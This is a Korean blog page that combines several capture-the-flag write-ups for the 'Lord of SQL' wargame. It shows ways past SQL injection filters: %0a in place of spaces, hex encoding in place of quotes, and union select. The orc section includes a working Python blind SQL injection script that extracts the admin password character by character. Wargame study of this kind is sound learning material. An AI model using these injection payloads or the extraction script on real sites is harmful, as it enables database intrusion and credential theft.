id는 'guest'로 고정되어 있으며 pw값을 가지고 문제를 풀면 됩니다.


preg_match()로 space bar를 필터링 했습니다.

id가 'admin'으로 되면 문제가 풀립니다.


앞선 문제와 비슷한데 space bar 필터링만 추가 되었습니다.



우선 space bar 필터링 우회를 해야 합니다.

%20은 space bar를 나타냅니다. 그리고 %0a로 space bar 효과를 낼 수 있습니다.


%0a는 개행을 나타내는 기호입니다. DB Query를 할 때 개행을 하더라도 ; 가 나올 때까지 읽어 들이기 때문에

결국 space bar나 개행은 동일한 효과를 냅니다.



space bar에 대한 문제를 해결 했으니 앞선 문제처럼 union select를 이용해서 문제를 해결하시면 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05

이번에는 pw 부분만 입력이 가능합니다.

id는 'admin'으로 고정이 되어있고 입력한 pw값과 쿼리 결과 pw가 동일해야 문제가 풀립니다.


요행으로 참으로 만들어도 안된다는 말입니다.

정확한 pw값을 찾아야 하는 문제입니다.



우선 Query를 참으로 만들어 무슨 값이 나오는지 확인해봅니다. 

"Hello admin"이라는 값이 나옵니다.


참이 아닐 경우에는 아무런 값을 나타내지 않기 때문에 여기서 Blind SQL Injection을 통해서 문제를 해결해야 합니다.



Blind SQL Injection을 수행하기 앞서 먼저 pw의 길이를 알아내야 합니다.


length() 함수는 해당 칼럼의 길이를 알 수 있습니다.

지금 id는 'admin'으로 고정되어 있기 때문에 자연스럽게 'admin'의 pw길이를 가져오게 됩니다.


수차례 해보면 8자리라는 것을 확인할 수 있습니다.


길이를 알아냈으니 Python으로 코드를 만들어 풀어봅니다.


requests 모듈을 통해서 풀어봤습니다.

GET방식으로 전송하기 때문에 requests.get() 함수를 사용합니다.


SQL 함수인 substr()을 사용해서 문자를 하나씩 알아내면 됩니다.

※ substr(str, start, len): 해당 문자열의 시작 인덱스부터 정해진 길이까지의 문자를 가져옴


그리고 Query가 성공하면 "Hello admin"이라는 글자가 나타나니 해당 글자를 찾으면 성공했다고 판단하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
password = ''
 
for i in range(1,9):
    for j in range(33,127):
        query = "pw=' or substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



8자리의 비밀번호를 획득하고 인증하면 성공하게 됩니다.

(소문자로 해야 인증됨)


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

no의 특정 값을 넣고 id의 'admin'의 값이 나오도록 만들어야 합니다.


하지만 id에 이미 'guest'가 하드코딩 되어있고 우리는 no의 값만 조작할 수 있습니다.


우선 숫자로 임의의 숫자를 입력합니다.

1을 입력해보니 guest가 나오는 것을 보면 guest의 no는 1인 것을 알 수 있습니다.


다른 숫자들로 해보면 아무 값도 나오지 않으니 어떤 구문을 넣어서 해결해야 할 것으로 보입니다.


cobolt 문제에서 union select를 사용해봤으니 이번 문제에서도 해봤습니다.

no 1번은 guest값일 테니 그 외 다른 값을 사용해야 합니다.


처음에 2 union select admin 으로 해보니 아무 값이 나오지 않았습니다. 당연히 admin이 문자열로 지정 안 해서 그랬던 겁니다.

두번째는 2 union select 'admin' 으로 해보면 Single Quote 가 필터링 되어있기 때문에 되지 않습니다.


preg_match에서 Single Quote를 우회하는 가장 간단한 방법은 hex값으로 보내면 됩니다.

'admin'을 hex값으로 변경하면 0x61646d696e가 되며 다음과 같이 성공하게 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

+ Recent posts